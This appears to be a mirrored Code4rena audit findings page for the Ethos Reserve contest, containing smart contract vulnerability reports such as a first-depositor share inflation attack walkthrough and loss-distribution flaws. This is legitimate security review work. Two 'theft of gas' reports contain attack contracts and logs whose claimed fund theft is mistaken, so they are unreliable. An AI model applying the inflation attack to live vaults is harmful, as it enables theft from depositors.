Giter Club home page Giter Club logo

2023-02-ethos-findings's Introduction

Ethos Reserve Contest

Unless otherwise discussed, this repo will be made public after contest completion, sponsor review, judging, and two-week issue mitigation window.

Contributors to this repo: prior to report publication, please review the Agreements & Disclosures issue.


Contest findings are submitted to this repo

Sponsors have three critical tasks in the contest process:

  1. Weigh in on severity.
  2. Respond to issues.
  3. Share your mitigation of findings.

Let's walk through each of these.

High and Medium Risk Issues

Please note: because wardens submit issues without seeing each other's submissions, there will always be findings that are duplicates. For all issues labeled 3 (High Risk) or 2 (Medium Risk), these have been pre-sorted for you so that there is only one primary issue open per unique finding. All duplicates have been labeled duplicate, linked to a primary issue, and closed.

Weigh in on severity

Judges have the ultimate discretion in determining severity of issues, as well as whether/how issues are considered duplicates. However, sponsor input is a significant criteria.

For a detailed breakdown of severity criteria and how to estimate risk, please refer to the judging criteria in our documentation.

If you disagree with a finding's severity, leave the severity label intact and add the label disagree with severity, along with a comment indicating your opinion for the judges to review. You may also add questions for the judge in the comments.

Respond to issues

Label each open/primary High or Medium risk finding as one of these:

  • sponsor confirmed, meaning: "Yes, this is a problem and we intend to fix it."
  • sponsor disputed, meaning either: "We cannot duplicate this issue" or "We disagree that this is an issue at all."
  • sponsor acknowledged, meaning: "Yes, technically the issue is correct, but we are not going to resolve it for xyz reasons."

(Note: please don't use sponsor disputed for a finding if you think it should be considered of lower or higher severity. Instead, use the label disagree with severity and add comments to recommend a different severity level -- and include your reasoning.)

Add any necessary comments explaining your rationale for your evaluation of the issue.

Note that when the repo is public, after all issues are mitigated, wardens will read these comments; they may also be included in your C4 audit report.

QA and Gas Reports

For low and non-critical findings (AKA QA), as well as gas optimizations: wardens are required to submit these as bulk listings of issues and recommendations. They may only submit a single, compiled report in each category:

  • QA reports should include all low severity and non-critical findings, along with a summary statement.
  • Gas reports should include all gas optimization recommendations, along with a summary statement.

For QA and Gas reports, sponsors are not required to weigh in on severity or risk level. We ask that sponsors:

  • Leave a comment for the judge on any reports you consider to be particularly high quality. (These reports will be awarded on a curve.)
  • Add the sponsor disputed label to any reports that you think should be completely disregarded by the judge, i.e. the report contains no valid findings at all.

Once labelling is complete

When you have finished labelling findings, drop the C4 team a note in your private Discord backroom channel and let us know you've completed the sponsor review process. At this point, we will pass the repo over to the judge to review your feedback while you work on mitigations.

Share your mitigation of findings

Note: this section does not need to be completed in order to finalize judging. You can continue work on mitigations while the judge finalizes their decisions and even beyond that. Ultimately we won't publish the final audit report until you give us the OK.

For each finding you have confirmed, you will want to mitigate the issue before the contest report is made public.

As you undertake that process, we request that you take the following steps:

  1. Within a repo in your own GitHub organization, create a pull request for each finding.
  2. Link the PR to the issue that it resolves within your contest findings repo.

This will allow for complete transparency in showing the work of mitigating the issues found in the contest. If the issue in question has duplicates, please link to your PR from the open/primary issue.

2023-02-ethos-findings's People

Contributors

code423n4 avatar kartoonjoy avatar c4-judge avatar

Stargazers

Computer button pusher // Pousseur de boutons en informatique  || SIN - SIN HACK - HACK || NO-CODE evangelist || Black coffee like my sense of humor avatar  avatar  avatar kingman23 avatar  avatar OuailT avatar

Watchers

Ashok avatar  avatar

2023-02-ethos-findings's Issues

Withdrawer can incur loss due to bad withdraw timing. Loss pressure not distributed equally.

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultV2.sol#L359

Vulnerability details

Impact

When withdrawing, if not enough balance is present, strategies will be sold to be able to fullfil the withdrawal. When "selling" strategies any loss is charged to the withdrawer. Therefore a withdrawer might think is withdrawing 'x' but in reality is withdrawing way less. The issue is that the code does not share loss between users, but applies the total loss pressure of a strategy to the withdrawing user, even though the user has no control over what strategies are going to be applied.

Proof of Concept

In ReaperVaultV2.sol there is a function with which users interact called withdraw() this function then calls the internal _withdraw().

Inside the internal function the value of the shares the user wishes to withdraw is calculated.
The following line checks if the vault contains enough liquid to fulfill the withdrawal or it needs to "sell" strategies in order to continue the withdrawal.
if (value > token.balanceOf(address(this)))

In the case that the contract does not contain enough liquid to pay it will proceed to sell strategies until enough token is accumulated to continue with the withdrawal.

for (uint256 i = 0; i < queueLength; i = i.uncheckedInc()) {
                vaultBalance = token.balanceOf(address(this));
                if (value <= vaultBalance) {
                    break;
                }

                address stratAddr = withdrawalQueue[i];
                uint256 strategyBal = strategies[stratAddr].allocated;
                if (strategyBal == 0) {
                    continue;
                }

                uint256 remaining = value - vaultBalance;

                uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal));
                uint256 actualWithdrawn = token.balanceOf(address(this)) - vaultBalance;
                
                // Withdrawer incurs any losses from withdrawing as reported by strat
                if (loss != 0) {
                    value -= loss;
                    totalLoss += loss;
                    _reportLoss(stratAddr, loss);
                }

                strategies[stratAddr].allocated -= actualWithdrawn;
                totalAllocated -= actualWithdrawn;
            }

In this for loop any loss from the strategies is charged to the withdrawer. The loss is calculated only for the strategy liquidated. Code inside if(loss != 0) will apply complete loss pressure to the user.

This can lead to withdrawers not knowing how much will they receive from the withdrawal before hand. As well as it could lead to other users trying to time well withdrawals to avoid paying the losses, therefore placing the full weight of the loss on the rest of the users.

For example:

  1. Bob deposits 50 token.
  2. Alice deposits 50 token
  3. Out of the 100 total token inside the vault, 50 stay as liquid and 50 are deposited into 1 strategy.
  4. This strategy losses 10 out of the 50 token. Having now 40.
  5. Bob decided to withdraw its token. He withdraws 50 token, happening to be 50 liquid token inside the vault Bob receives 50.
  6. Alice decides to withdraw. Since the vault does not have enough liquid, since Bob already withdrawed, the vault needs to liquidate the strategy. Since the strategy has lost 10 of the token only 40 are obtained when liquidating. Since loss is charged to the withdrawer Alice only receives 40.

Both Alice and Bob deposited the same amount of token at "the same time". And both withdrawed the same amount of token when the strategy had lost 10. But only Bob has received the total amount invested. Therefore applying the whole loss pressure to Alice.

Loss pressure should be distributed among the different users on the platform. As well as notifying the users what potential loss they will have if they withdraw.

Without this a user can see its withdrawal reduced due to "unpredictable" circumstances. In a worst case scenario, a strategy could have an unpredicted high loss and a user withdrawing (a quantity superior to the one applied to the strategy) could be charged the full weight of that loss significantly reducing their withdrawal.

Withdrawers should pay for the loss of the strategies, but applying an homogeneous pressure in all of them.

Tools Used

Visual Studio Code

Recommended Mitigation Steps

A loss index should be calculated for all the strategies. Therefore charging a proportion of the loss to every user that withdraws. In other words calculate the total amount of loss for all strategies and apply that to the value of the withdrawal. A way to do this could be to calculate the total loss of all strategies, and subtract it from the total amount of token, then get a percentage of loss per unit token and apply that to the quantity of the withdrawal. Therefore applying a fair and homogeneous portion to the users when the strategies are at a loss.
Calculating the loss percentage each time that a withdrawal can be quite expensive if the amount of strategies is large. An alternative could be to calculate a loss index every x period of time, for example every day, or every hour.

The goal should be to distribute the loss among all the users, applying it only when the users withdraw.

If there is no loss as a total, then users will experience no reduction in their withdrawal. If there is a loss as a total, users will see their withdrawals reduced.

Transfer result in the contract is not checked

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Core/contracts/LQTY/CommunityIssuance.sol#L127
https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Core/contracts/LQTY/LQTYStaking.sol#L135
https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Core/contracts/LQTY/LQTYStaking.sol#L171

Vulnerability details

Impact

Contract fails to check the result of transfer function. This function needs to be always checked since it may lead to unexpected results.
If transfer fails, certain tokens return false rather than reverting. Even when a token returns false and doesn't really complete the transfer, it is still considered a successful transfer.

Proof of Concept

Tools Used

Manual review

Recommended Mitigation Steps

Check the value returned by transfer. Alternatively, you can use safeTransfer from OpenZeppelin's SafeERC20.

QA Report

See the markdown file with the details of this report here.

QA Report

See the markdown file with the details of this report here.

TroveManager contract owner access loss

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Core/contracts/TroveManager.sol#L294

Vulnerability details

Impact

TroveManager contract owner privilege is permanently lost

Proof of Concept

The TroveManager contract sets the owner via the constructor, this owner have the permission to call the setAddresses funciton, in order to change some key contracts within the TroveManager contract storage,
However once the setAddresses function is called it wlil sets the owner to address 0x00 (line 294) :

        owner = address(0);
    }

This can results for the following scenario, owner sets the addresses, then after a time of usage owners wants to change one the contract such as (_borrowerOperationsAddress, _gasPoolAddress ...etc) the owner won't be able to do so as the owner became address(0) and the owner privilege can't be restored

Tools Used

Manual review

Recommended Mitigation Steps

Remove that line :

        owner = address(0);
    }

QA Report

See the markdown file with the details of this report here.

Arbitrary Contract Deployment

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperStrategyGranarySupplyOnly.sol#L26

Vulnerability details

Impact

0xdDE5dC81e40799750B92079723Da2acAF9e1C6D6 is hard-coded in the contract and it makes the contract less flexible. If Aave deploys a new LendingPoolAddressesProvider contract, then the ReaperStrategyGranarySupplyOnly contract will not work correctly. For this reason, the contract should use a proxy contract address.

Proof of Concept

https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperStrategyGranarySupplyOnly.sol#L26

Recommended Mitigation Steps

  1. Modifiy the contract to use an upgradable contract address provider that can be upgraded parallelly in case of contract address changes.
  2. Use the OpenZeppelin 'ProxyAdmin' contract along with an upgradable contract that implements the 'ILendingPoolAddressesProvider' interface.

First depositor attack: first depositor can steal funds from later depositors by manipulating initial share price.

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L110-L112
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L202-L210
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L51-L54
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L66-L69

Vulnerability details

Impact

Detailed description of the impact of this finding.
First depositor can steal funds from later depositors by manipulating initial share price.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

We show how the first depositor, Bob, can steal funds from later depositors by manipulating initial share price below:

  1. Initially _freeFunds() = 0 and totalSupply(), note the implementation of _freeFunds() below. In this attack, totalAllocated and the locked profit will be zero initially and will not change in this attack. We will only pay attention to the token.balanceOf(address(this)) component for the _freeFunds().
 function _freeFunds() internal view returns (uint256) {
        return balance() - _calculateLockedProfit();
    }

function balance() public view returns (uint256) {
        return token.balanceOf(address(this)) + totalAllocated;
}

 function _calculateLockedProfit() internal view returns (uint256) {
        uint256 lockedFundsRatio = (block.timestamp - lastReport) * lockedProfitDegradation;
        if (lockedFundsRatio < DEGRADATION_COEFFICIENT) {
            return lockedProfit - ((lockedFundsRatio * lockedProfit) / DEGRADATION_COEFFICIENT);
        }

        return 0;
    }
  1. Bob calls deposit(1, Bob) to spend 1 wei of asset token in exchange of 1 vault share. After that, we have totalSupply()=1, and _freeFunds() = 1.
 function convertToShares(uint256 assets) public view override returns (uint256 shares) {
        if (totalSupply() == 0 || _freeFunds() == 0) return assets;
        return (assets * totalSupply()) / _freeFunds();
    }
  1. Bob sends (1,000*1e18) asset tokens to the ReaperVaultERC4626 contract. After that, we have totalSupply()=1, and _freeFunds() = 1,000*1e18+1. Now the vault share price is inflated to (1,000*1e18+1)/share.

  2. Alice calls Deposit(2,000*1e18, Alice) and gets 1 vault share. After that, we have totalSupply()=2, and _freeFunds() = 3,000*1e18+1. Now the vault share price is (1,500*1e18)/share.

  3. Bob withdraws his one share by calling redeem(1, Bob, Bob) and he gets back 1,500*1e18 asset tokens. We do not need to worry about the rest of the code after if (value > token.balanceOf(address(this))) since the condition is false.

 function redeem(
        uint256 shares,
        address receiver,
        address owner
    ) external override returns (uint256 assets) {
        if (msg.sender != owner) _spendAllowance(owner, msg.sender, shares);
        assets = _withdraw(shares, receiver, owner);
    }

function _withdraw(
        uint256 _shares,
        address _receiver,
        address _owner
    ) internal nonReentrant returns (uint256 value) {
        require(_shares != 0, "Invalid amount");
        value = (_freeFunds() * _shares) / totalSupply();
        _burn(_owner, _shares);

        if (value > token.balanceOf(address(this))) {
            uint256 totalLoss = 0;
            uint256 queueLength = withdrawalQueue.length;
            uint256 vaultBalance = 0;
            for (uint256 i = 0; i < queueLength; i = i.uncheckedInc()) {
                vaultBalance = token.balanceOf(address(this));
                if (value <= vaultBalance) {
                    break;
                }

                address stratAddr = withdrawalQueue[i];
                uint256 strategyBal = strategies[stratAddr].allocated;
                if (strategyBal == 0) {
                    continue;
                }

                uint256 remaining = value - vaultBalance;
                uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal));
                uint256 actualWithdrawn = token.balanceOf(address(this)) - vaultBalance;

                // Withdrawer incurs any losses from withdrawing as reported by strat
                if (loss != 0) {
                    value -= loss;
                    totalLoss += loss;
                    _reportLoss(stratAddr, loss);
                }

                strategies[stratAddr].allocated -= actualWithdrawn;
                totalAllocated -= actualWithdrawn;
            }

            vaultBalance = token.balanceOf(address(this));
            if (value > vaultBalance) {
                value = vaultBalance;
            }

            require(
                totalLoss <= ((value + totalLoss) * withdrawMaxLoss) / PERCENT_DIVISOR,
                "Withdraw loss exceeds slippage"
            );
        }
  1. If Alice withdrew her vault share at this point, she would get 1,5001e18 asset tokens and lose 5001e18 asset tokens.

  2. Bob gains 500*1e18 asset tokens, He steals it from Alice!

Tools Used

VScode

Recommended Mitigation Steps

  • When the vault is deployed in a factory, an honest deployer can mint 1000 shares with 1000 wei and sent them to a dead address.

  • Enforce a minimum 1000 shares for each deposit and automatically sends 1000 shares to a dead address from the first deposit. The amount of 1000 wei is negligible for most asset tokens.

Low accuracy in calculating the present value of _collateral shares in vault can cause mistakes in _rebalance function calculations

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L247
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L248

Vulnerability details

Impact

in function ActivePool.sol._rebalance(address _collateral, uint256 _amountLeavingPool) before making any calculation to get vars.toWithdraw, vars.toDeposit, vars.profit, vars.netAssetMovement and deposit and withdraw, we need to first convert a share of _collateral to the asset value. The more accurate the value of this variable is, the more accurate the subsequent calculations will be to obtain high values and make decisions on changes in the _collateral balance and withdrawal or deposit.

but based on the eip-4626 document and Security Considerations, this value is not accurate.

Proof of Concept

To get the asset amount from the share, in function ActivePool.sol._rebalance(address _collateral, uint256 _amountLeavingPool), we make a call to the convertToAssets function from the ERC4626 contract, but based on the eip-4626 document and Security Considerations section on this document, The methods totalAssets, convertToShares, and convertToAssets are estimates useful for display purposes, and do not have to confer the exact amount of underlying assets their context suggests. so to get the most accurate value for vars.sharesToAssets, convertToAssets is not a good choice.

but based on the eip-4626 document and Security Considerations section on this document, we can use preview methods To get a more accurate value for vars.sharesToAssets. The preview methods return values that are as close as possible to exact as possible.

https://eips.ethereum.org/EIPS/eip-4626

Tools Used

manually

Recommended Mitigation Steps

Use preview methods instead of converts methods. preview methods return values that are as close as possible to exact as possible.

Withdrawal of funds using the withdraw() function in ReaperVaultERC4626.sol

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L110-L112
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L202-L210

Vulnerability details

Impact

File: Ethos-Vault/contracts/ReaperVaultERC4626.sol

URL: https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultERC4626.sol#L202-L210

Description:
Withdrawal of funds using the withdraw() function in ReaperVaultERC4626.sol
I built a function called withdraw() in an attack contract that was deployed to the TestReaperVaultERC4626.sol contract in a local environment.
In the attack function I am calling the withdraw function.
From the withdraw() function that links back to the ReaperVaultERC4626.sol contract from the attack function, I am able to withdraw funds from the ReaperVaultERC4626.sol contract.

Impact:
Using the attacker contract called TestReaperVaultERC4626.sol, I can withdraw money from the victim contract called ReaperVaultERC4626.sol.  
It also costs the victim contract called ReaperVaultERC4626.sol gas.  Which is also known as Theft of gas.

# The functions that are vulnerable are as follows:

# Line 202-210
    function withdraw(
        uint256 assets,
        address receiver,
        address owner
    ) external override returns (uint256 shares) {
        shares = previewWithdraw(assets); // previewWithdraw() rounds up so exactly "assets" are withdrawn and not 1 wei less
        if (msg.sender != owner) _spendAllowance(owner, msg.sender, shares);
        _withdraw(shares, receiver, owner);
    }

# Prep:
Victim Contract
1. recreate the following contract in Remix IDE "ReaperVaultERC4626.sol"
2. compile contract
3. go to deploy and run transactions tab
4. Install Foundry in CMD and call anvil to connect. > Go back to Remix IDE> Deploy Tab> set environment to Foundry Provider VM.
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed with 10000 ETH. 

Attack Contract
7. In Remix IDE recreate my PoC code above and save as a contract called "TestReaperVaultERC4626.sol"
8. compile contract.
9. go to deploy and run transactions tab
10. set environment to Foundry VM. And set the value to 1000 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. Then select first account from "Account" drop list before next step.

action
NB:
victim contract 
attack contract 

1. start balance of victim contract Balance: 10000 ETH
2. start balance of attack contract Balance: 1000 ETH
3. in deploy tab select victim contract.
4. in deploy tab under value enter 100000000000000000
5. From drop down list, select Wei.
6. click on call attack() function button in attack contract
7. end balance of victim contract Balance: 9999.89993592804220373 ETH
8. end balance of attack contract Balance: 1000.1 ETH
9. Finally, 100000000000000000 Wei has been deducted from victim contract and deposited into attacker contract.  
10. The gas is charged to the victim contract.  Theft of gas.

Proof of Concept

// SPDX-License-Identifier: BUSL-1.1

pragma solidity >=0.6.0<0.9.0;

import "./interfaces/IERC4626Functions.sol";
import "./ReaperVaultERC4626.sol";

contract TestReaperVaultERC4626  {
    
    ReaperVaultERC4626 public aaa;
    uint256 amount = 1;
    address victim = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
    address attacker = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;

    constructor(ReaperVaultERC4626 _aaa) public payable {
        aaa = ReaperVaultERC4626(_aaa);
    }

    function withdraw() public payable {
        if(msg.value >= 1 ether) {
        aaa.withdraw(uint256(amount), address(victim), address(attacker));
        }
    }
}
# Log:
transact to TestReaperVaultERC4626.withdraw pending ... 
[block:9 txIndex:0]from: 0xf39...92266to: TestReaperVaultERC4626.withdraw() 0xbCF...61508value: 100000000000000000 weidata: 0x3cc...fd60blogs: 0hash: 0x3c8...de8e4
status	true Transaction mined and execution succeed
transaction hash	0xb734f40fc90a197d1ed22f22b55ff7da0c7fbf501a35f78862dff527b1dc0222
from	0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
to	TestReaperVaultERC4626.withdraw() 0xbCF26943C0197d2eE0E5D05c716Be60cc2761508
gas	22329 gas
transaction cost	21184 gas 
input	0x3cc...fd60b
decoded input	{}
decoded output	 - 
logs	[]
val	100000000000000000 wei

Tools Used

Remix IDE integrated with Foundry Provider Environment testing and deployment into an enclosed Foundry environment with a git clone of the repository.

Recommended Mitigation Steps

1. For function linked to ReaperVaultV2.sol called _deposit() which is called by deposit(), the updates to _amount = balAfter - balBefore; should come before the require statements.
2. For function linked to ReaperVaultV2.sol called _withdraw() which is called by withdraw(), the updates to value = (_freeFunds() * _shares) / totalSupply(); should come before the require(_shares != 0, "Invalid amount"); statement.

QA Report

See the markdown file with the details of this report here.

Did Not Approve To Zero First Causing Certain Token Transfer To Fail

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L171
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L180
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L183

Vulnerability details

Impact

Some tokens (like USDT) do not work when changing the allowance from an existing non-zero allowance value. For example Tether (USDT)'s approve() function will revert if the current approval is not zero, to protect against front-running changes of approvals.

Proof of Concept

Allowance was not set to zero first before changing the allowance.

Some tokens (like USDT) do not work when changing the allowance from an existing non-zero allowance value. For example Tether (USDT)'s approve() function will revert if the current approval is not zero, to protect against front-running changes of approvals.

in ActivePool.sendCollateral, in lines 180 and 183, before calling safeIncreaseAllowance, must be approved by zero first, and then the safeIncreaseAllowance function can be called. Otherwise, the ActivePool.sendCollateral function will revert every time it handles such kinds of tokens.

The same problem can be seen in the line below:
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/ActivePool.sol#L279
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Core/contracts/BorrowerOperations.sol#L506

Tools Used

Manually

Sample report approved by the C4 judges team:
code-423n4/2022-06-connext-findings#154

Recommended Mitigation Steps

It is recommended to set the allowance to zero before increasing the allowance

Withdrawal of funds using the withdraw() and other functions in ReaperVaultV2.sol

Lines of code

https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L144-L171
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L319-L338
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L359-L412
https://github.com/code-423n4/2023-02-ethos/blob/73687f32b934c9d697b97745356cdf8a1f264955/Ethos-Vault/contracts/ReaperVaultV2.sol#L637-L644

Vulnerability details

Impact

File: Ethos-Vault/contracts/ReaperVaultV2.sol

URL: https://github.com/code-423n4/2023-02-ethos/blob/main/Ethos-Vault/contracts/ReaperVaultV2.sol#L353-L355

Description:
Withdrawal of funds using the withdraw() and other functions in ReaperVaultV2.sol
I built a function called withdraw() in a TestReaperVaultV2.sol contract that was deployed and linked to the ReaperVaultV2.sol contract in a local environment.
In the withdraw() function I am calling withdraw along with 2 other functions mentioned below.
From the withdraw() function that links back to the ReaperVaultV2.sol contract from the attack withdraw() function, I am able to withdraw funds from the ReaperVaultV2.sol contract.

Impact:
Using the attacker contract called TestReaperVaultV2.sol, I can withdraw money from the victim contract called ReaperVaultV2.sol.  
It also costs the victim contract called ReaperVaultV2.sol gas.  Which is also know as Theft of gas.

# The functions vulnerable are as follows:
# Line 144-171
    function addStrategy(
        address _strategy,
        uint256 _feeBPS,
        uint256 _allocBPS
    ) external {
        _atLeastRole(DEFAULT_ADMIN_ROLE);
        require(!emergencyShutdown, "Cannot add strategy during emergency shutdown");
        require(_strategy != address(0), "Invalid strategy address");
        require(strategies[_strategy].activation == 0, "Strategy already added");
        require(address(this) == IStrategy(_strategy).vault(), "Strategy's vault does not match");
        require(address(token) == IStrategy(_strategy).want(), "Strategy's want does not match");
        require(_feeBPS <= PERCENT_DIVISOR / 5, "Fee cannot be higher than 20 BPS");
        require(_allocBPS + totalAllocBPS <= PERCENT_DIVISOR, "Invalid allocBPS value");

        strategies[_strategy] = StrategyParams({
            activation: block.timestamp,
            feeBPS: _feeBPS,
            allocBPS: _allocBPS,
            allocated: 0,
            gains: 0,
            losses: 0,
            lastReport: block.timestamp
        });

        totalAllocBPS += _allocBPS;
        withdrawalQueue.push(_strategy);
        emit StrategyAdded(_strategy, _feeBPS, _allocBPS);
    }

# Line 319-338
  function _deposit(uint256 _amount, address _receiver) internal nonReentrant returns (uint256 shares) {
        _atLeastRole(DEPOSITOR);
        require(!emergencyShutdown, "Cannot deposit during emergency shutdown");
        require(_amount != 0, "Invalid amount");
        uint256 pool = balance();
        require(pool + _amount <= tvlCap, "Vault is full");

        uint256 freeFunds = _freeFunds();
        uint256 balBefore = token.balanceOf(address(this));
        token.safeTransferFrom(msg.sender, address(this), _amount);
        uint256 balAfter = token.balanceOf(address(this));
        _amount = balAfter - balBefore;
        if (totalSupply() == 0) {
            shares = _amount;
        } else {
            shares = (_amount * totalSupply()) / freeFunds; // use "freeFunds" instead of "pool"
        }
        _mint(_receiver, shares);
        emit Deposit(msg.sender, _receiver, _amount, shares);
    }

# Line 359-412
    function _withdraw(
        uint256 _shares,
        address _receiver,
        address _owner
    ) internal nonReentrant returns (uint256 value) {
        require(_shares != 0, "Invalid amount");
        value = (_freeFunds() * _shares) / totalSupply();
        _burn(_owner, _shares);

        if (value > token.balanceOf(address(this))) {
            uint256 totalLoss = 0;
            uint256 queueLength = withdrawalQueue.length;
            uint256 vaultBalance = 0;
            for (uint256 i = 0; i < queueLength; i = i.uncheckedInc()) {
                vaultBalance = token.balanceOf(address(this));
                if (value <= vaultBalance) {
                    break;
                }

                address stratAddr = withdrawalQueue[i];
                uint256 strategyBal = strategies[stratAddr].allocated;
                if (strategyBal == 0) {
                    continue;
                }

                uint256 remaining = value - vaultBalance;
                uint256 loss = IStrategy(stratAddr).withdraw(Math.min(remaining, strategyBal));
                uint256 actualWithdrawn = token.balanceOf(address(this)) - vaultBalance;

                // Withdrawer incurs any losses from withdrawing as reported by strat
                if (loss != 0) {
                    value -= loss;
                    totalLoss += loss;
                    _reportLoss(stratAddr, loss);
                }

                strategies[stratAddr].allocated -= actualWithdrawn;
                totalAllocated -= actualWithdrawn;
            }

            vaultBalance = token.balanceOf(address(this));
            if (value > vaultBalance) {
                value = vaultBalance;
            }

            require(
                totalLoss <= ((value + totalLoss) * withdrawMaxLoss) / PERCENT_DIVISOR,
                "Withdraw loss exceeds slippage"
            );
        }

        token.safeTransfer(_receiver, value);
        emit Withdraw(msg.sender, _receiver, _owner, value, _shares);
    }

# Line 637-644
    function inCaseTokensGetStuck(address _token) external {
        _atLeastRole(ADMIN);
        require(_token != address(token), "!token");

        uint256 amount = IERC20Metadata(_token).balanceOf(address(this));
        IERC20Metadata(_token).safeTransfer(msg.sender, amount);
        emit InCaseTokensGetStuckCalled(_token, amount);
    }

# Prep:
Victim Contract
1. recreate the following contract in Remix IDE "ReaperVaultV2.sol"
2. compile contract
3. go to deploy and run transactions tab
4. Install Foundry in CMD and call anvil to connect. > Go back to Remix IDE> Deploy Tab> set environment to Foundry Provider VM.
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed with 10000 ETH. 

Attack Contract
7. In Remix IDE recreate my PoC code above and save as a contract called "TestReaperVaultV2.sol"
8. compile contract.
9. go to deploy and run transactions tab
10. set environment to Foundry VM.  And set the value to 1000 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. Then select first account from "Account" drop list before next step.

Action
NB:
victim contract 
attack contract 

1. start balance of victim contract Balance: 10000 ETH
2. start balance of attack contract Balance: 1000 ETH
3. in deploy tab select victim contract.
4. in deploy tab under value enter 100 ether
5. In the pick list select Ether
6. click on call withdraw() function button in attack contract
7. end balance of victim contract Balance: 9999.799860840165999048 ETH
8. end balance of attack contract Balance: 1000.1 ETH
9. Finally, 100000000000000000 Wei has been deducted from victim contract and deposited into attacker contract.  
10. The gas is charged to the victim contract.  Theft of gas.

Proof of Concept

// SPDX-License-Identifier: BUSL-1.1

pragma solidity >=0.6.0<0.9.0;

import "./interfaces/IERC4626Events.sol";
import "./interfaces/IStrategy.sol";
import "./libraries/ReaperMathUtils.sol";
import "./mixins/ReaperAccessControl.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";

import "./ReaperVaultV2.sol";

contract TestReaperVaultV2  {

    ReaperVaultV2 public aaa;
    address victim = 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266;
    address attacker = 0x70997970C51812dc3A010C7d01b50e0d17dc79C8;
    uint256 amount = 1;

    constructor(ReaperVaultV2 _aaa) public payable {
        aaa = ReaperVaultV2(_aaa);
    }

    function withdraw() external payable {
        if(msg.value >= 1 ether) {
        aaa.addStrategy(address(attacker), uint256(amount), uint256(amount));
        aaa.withdraw(uint256(amount));
        aaa.inCaseTokensGetStuck(address(attacker));
        }
    }

}
# Log:
transact to TestReaperVaultV2.withdraw pending ... 
[block:11 txIndex:0]from: 0xf39...92266to: TestReaperVaultV2.withdraw() 0x59F...Eb8d0value: 100000000000000000 weidata: 0x3cc...fd60blogs: 0hash: 0x0d8...19723
status	true Transaction mined and execution succeed
transaction hash	0x23b4e391294f919c884aedf0e52cf2ed968b96825a3368e37fa67598abbe55b1
from	0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
to	TestReaperVaultV2.withdraw() 0x59F2f1fCfE2474fD5F0b9BA1E73ca90b143Eb8d0
gas	22329 gas
transaction cost	21184 gas 
input	0x3cc...fd60b
decoded input	{}
decoded output	 - 
logs	[]
val	100000000000000000 wei

Tools Used

Remix IDE integrated with Foundry Provider Environment testing and deployment into an enclosed Foundry environment with a git clone of the repository.

Recommended Mitigation Steps

